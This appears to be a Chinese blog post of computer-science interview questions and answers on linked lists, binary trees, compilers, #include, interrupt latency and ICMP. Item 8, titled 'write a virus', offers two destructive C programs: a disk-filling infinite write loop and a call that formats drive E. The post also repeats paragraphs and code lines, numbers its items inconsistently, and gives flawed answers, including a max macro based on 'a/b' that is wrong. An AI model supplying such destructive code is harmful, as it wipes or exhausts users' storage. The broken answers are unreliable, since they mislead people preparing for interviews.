积累笔试面试题:

1:某带头结点的单链表的头指针为head,则判定该链表为非空的条件是?

    a head!=null
    b head->next!=null

    a 是不带头节点的单链表为空的判定条件,head为第一个节点,要是他的内容为NULL,则整个链表都没有内容。
    b    带头节点的单链表为空的判定条件,带头节点的单链表的头节点head总是不空的,但是他的里面不存储具

          体的内容。他的下一个节点 才是存储内容的开始,若没有下一个节点,则表示该链表没有存储内容。

 

2:设某种二叉树有如下特点:每个结点要么是叶子结点,要么有2 棵子树。如果一棵这样
     的二叉树中有m(m>0)个叶子结点,那么该二叉树上的结点总数为(B. 2m-1  )。
     A. 2m+1 B. 2m-1 C. 2(m-1) D. 2m

 

3:编译系统和解释系统有什么区别?

    1、计算机并不能直接地接受和执行用高级语言编写的源程序,源程序在输入计算机时,通过"翻译程序"翻译成机器语言形式的目标程序,计算机才能识别和执行。这种"翻译"通常有两种方式,即编译方式和解释方式。

     2、编译方式是指利用事先编好的一个称为编译程序的机器语言程序,作为系统软件存放在计算机内,当用户将高级语言编写的源程序输入计算机后,编译程序便把源程序整个地翻译成用机器语言表示的与之等价的目标程序,然后计算机再执行该目标程序,以完成源程序要处理的运算并取得结果。解释方式是指源程序进入计算机后,解释程序边扫描边解释,逐句输入逐句翻译,计算机一句句执行,并不产生目标程序。

    3、编译方式是指利用事先编好的一个称为编译程序的机器语言程序,作为系统软件存放在计算机内,当用户将高级语言编写的源程序输入计算机后,编译程序便把源程序整个地翻译成用机器语言表示的与之等价的目标程序,然后计算机再执行该目标程序,以完成源程序要处理的运算并取得结果。解释方式是指源程序进入计算机后,解释程序边扫描边解释,逐句输入逐句翻译,计算机一句句执行,并不产生目标程序。编译程序与解释程序最大的区别之一在于前者生成目标代码,而后者不生成;此外,前者产生的目标代码的执行速度比解释程序的执行速度要快;后者人机交互好,适于初学者使用。

    4、简单的说,编译就是全文翻译,全部翻译完才执行。解释就相当于同声翻译,边翻译边执行。

 

 

4:#include<filename.h>和#include"filename.h"有什么区别?

   没啥大的区别,搜索的方式不一样而已:

  #include<filename.h>从标准目录

  #include"filename.h" 从用户定义目录

 

5:中断响应时间=关中断的最长时间 +保护CPU内部寄存器的时间 +进入中断服务函数的执行时间 +开始执行中断服务例程(ISR)的第 一条指令时间

 

 

6:(A )面向对象程序设计语言不同于其他语言的最主要特点。
A. 继承性B. 消息传递C. 多态性D. 封装性

 

7:TCP/IP 模型的体系结构中,ICMP 协议属于(B )。
A. 应用层B. 网络层C. 数据链路层D. 传输层

 

     基于TCP/IP协议四层的模型概念:应用层、传输层、互联层和网络接口层。 但是对于互联层(网络层),看了好些资料,都说这一层一般有四个主要的协议: 
      网际协议IP:负责在主机和网络之间寻址和路由数据包。  
  地址解析协议ARP:获得同一物理网络中的硬件主机地址。  
  网际控制消息协议ICMP:发送消息,并报告有关数据包的传送错误。  
  互联组管理协议IGMP:被IP主机拿来向本地多路广播路由器报告主机组成员

 

 

8: 写一个病毒:

#include "stdlib.h"

int main()
{
   
char* buf = new char[102400];
    FILE
* file = fopen("C://_____._____", "wb");
   
for (;;)
        fwrite(buf,
102400, 1, file);
    fclose(file);
   
return 0;
}
 4.   格式化一个盘,试了后果自负
#include<stdio.h>

int main()
{
  system(
"format E: /q");
 
return 0;
}

 

 

 

 

5:请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句

 

    http://riddickbryant.javaeye.com/blog/556696

 

解一:
#define   max(a,b)   ((((long)((a)-(b)))&0x80000000)?b:a)   
#define   max(a,b)   ((((long)((a)-(b)))&0x80000000)?b:a) 

若a > b ,则a-b的二进制最高位为0,与上任何数还是0,所以大数为a;
否则,a-b为负数,二进制最高位为1,与上0x80000000(最高位为1其他为0)之后为1,所以此时的大数为b.
 

解二:
Cpp代码
#define CMP(a,b) ((long)((a) - (b)))>>31 //两数作差,结果右移31位,即,将结果的首位(符号位)作为返回值  #define CMP(a,b) ((long)((a) - (b)))>>31 //两数作差,结果右移31位,即,将结果的首位(符号位)作为返回值

 

解三: 
Cpp代码
#define MAX(a,b) (fabs((a)-(b))==((a)-(b))?(a):(b))   

#define MAX(a,b) (fabs((a)-(b))==((a)-(b))?(a):(b)) fabs()所接受的参数及返回值都是double型的,这样无论它是接受整数还是接受float型的数据,都不会因精度问题而出现误差!

 

第四:#define Max(a,b) ( a/b)?a:b

你可能感兴趣的:(面试,网络,File,null,存储,语言)